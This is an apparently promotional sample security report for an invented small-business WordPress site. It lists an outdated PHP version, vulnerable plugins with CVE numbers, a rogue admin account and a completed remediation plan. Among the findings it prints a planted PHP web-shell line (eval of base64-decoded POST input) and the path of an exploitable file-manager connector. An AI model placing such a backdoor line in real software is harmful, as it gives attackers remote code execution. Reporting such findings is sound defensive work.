Website security report
Sunshine Plumbing & Drain (example)
Summary
This website could be taken over by anyone on the internet, without a password, until it is patched. It runs PHP 7.4 on WordPress 6.4 with three plugins that have published vulnerabilities, no firewall, and an admin login open to automated password guessing. PHP 7.4 will never receive the PHP2Shell fix, so the server must be upgraded, not just patched.
The free scan grades a site from the outside. The Deep Scan adds an authorized active scan (OWASP ZAP and Nuclei, non-destructive templates), an authenticated review of the hosting account, CMS, plugins and user accounts, a malware and backdoor sweep of the files and database, and a check of backups. Everything below was confirmed, not inferred.
Findings
CriticalPHP 7.4.33: exposed to PHP2Shell, no patch exists for this version›
$ curl -sI https://sunshineplumbing-example.com/ HTTP/1.1 200 OK Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.33 $ php -v (on host) PHP 7.4.33 (cli) (built: Nov 2022) mod_php
CriticalBackdoor file found in uploads from a prior compromise›
/wp-content/uploads/2024/03/wp-cache.php
eval(base64_decode($_POST['c'])) … modified 2024-03-19
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php (CVE-2020-25213)High3 plugins with published vulnerabilities›
contact-form-7 5.7.2 -> CVE-2023-6449 (unrestricted upload) elementor 3.14.0 -> CVE-2023-48777 (RCE, contributor+) wp-file-manager 6.9 -> CVE-2020-25213 (unauth RCE)
HighNo web application firewall›
HighXML-RPC enabled and in active use by attackers›
access.log: 41,206 POST /xmlrpc.php in 7 days from 312 IPs system.multicall · wp.getUsersBlogs (password guessing)
HighAdmin accounts: 4 administrators, one unknown, weak passwords›
admin, sunshine, webdev2019, wp_support1 (created 2024-03-19, unknown to owner). Two passwords found in public breach lists.HighNo working backup›
MediumSix hardening gaps: headers, directory listing, readme, jQuery, DMARC, form protection›
/wp-content/uploads/ listing on; /readme.html present; jQuery 1.12.4; no DMARC record; contact form without bot protection.Remediation plan (as executed)
- Hour 0–2Firewall in front of the site with PHP2Shell rules; XML-RPC off; login rate limit. Stops the bleeding before anything is changed on the server.Done
- Hour 2–4Full backup to off-site storage; restore verified on a staging copy.Done
- Hour 4–8Malware sweep; backdoor and rogue admin removed; all credentials and salts rotated.Done
- Hour 8–16Plugins and theme updated on staging, tested, then PHP upgraded 7.4 → 8.3.36 with PHP-FPM; site re-tested end to end.Done
- Hour 16–20Hardening: security headers, directory listing, readme, DMARC, form protection, two-factor sign-in.Done
- Hour 20–24Re-scan (external + authenticated); report delivered; handover to monthly Protect.Done
Before and after
Before · Grade F · 22/100
- PHP 7.4.33, mod_php, no fix available
- Active backdoor from 2024
- 3 vulnerable plugins, rogue admin
- No firewall, no backups
- 41k password-guessing requests per week
After · Grade A · 96/100
- PHP 8.3.36 on PHP-FPM, PHP2Shell closed and verified
- Clean files and database, credentials rotated
- All plugins current, 2 admins with two-factor
- Firewall, daily off-site backups, tested restore
- Weekly re-scan and 24-hour patching under Protect
What happens next
Under Feli-Scan Protect this site is re-scanned every week, patched within 24 hours of any PHP, WordPress or plugin security release, backed up daily, and reported on monthly. The owner can forward this report to their cyber-insurance carrier; it covers the questions most carriers now ask.
This is a sample built from a typical small-business site; the business name and address are invented. Client reports are confidential to the client.